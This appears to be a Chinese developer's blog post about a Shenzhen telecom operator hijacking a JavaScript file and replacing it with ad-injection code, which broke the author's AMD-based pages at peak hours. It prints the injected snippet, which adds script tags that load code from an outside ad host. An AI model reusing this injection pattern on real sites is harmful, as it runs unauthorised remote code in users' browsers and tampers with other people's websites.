今天上班的时候,突然有人拉我进群,说我负责的TOB系统在深圳打开出现问题,赶紧teamviewer连接过去,一看瞬间无语了,当地的电信运营商竟然劫持了我的js,直接修改了我的代码,如下:
/***随机的JS被替换成的代码**/
var _atn_obj_ = new Object;
_atn_obj_.oldurl = 'http://******.**.cn?*****&cHVzaA=1518144541';
_atn_obj_.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7Og8/IysrPys3OzszHzr/OyczRmJuDsZqHiozfyoPMg8vLz8zPz4POg87KzsfOy8vKy86DzsrOx87Ly8rLzs/IxsnPxseDzcjKys4=';
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);
window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);
正常来说这段脚本的影响不大,稍后加载我们的脚本,优先把运营商的“特卖”广告放出来。但是我们的这个通用的JS是遵循AMD范式的,这个通用的JS的生成的对象会作为其他的JS的形参。悲剧的事情出现了,网页一打开,就出现了调用undefined的变量的方法。
请运营商的大大们,插入广告代码的时候要先测试啊,影响了我们半天时间,深圳那边中午高峰时间访问全挂了,分分钟损失几百万的节奏。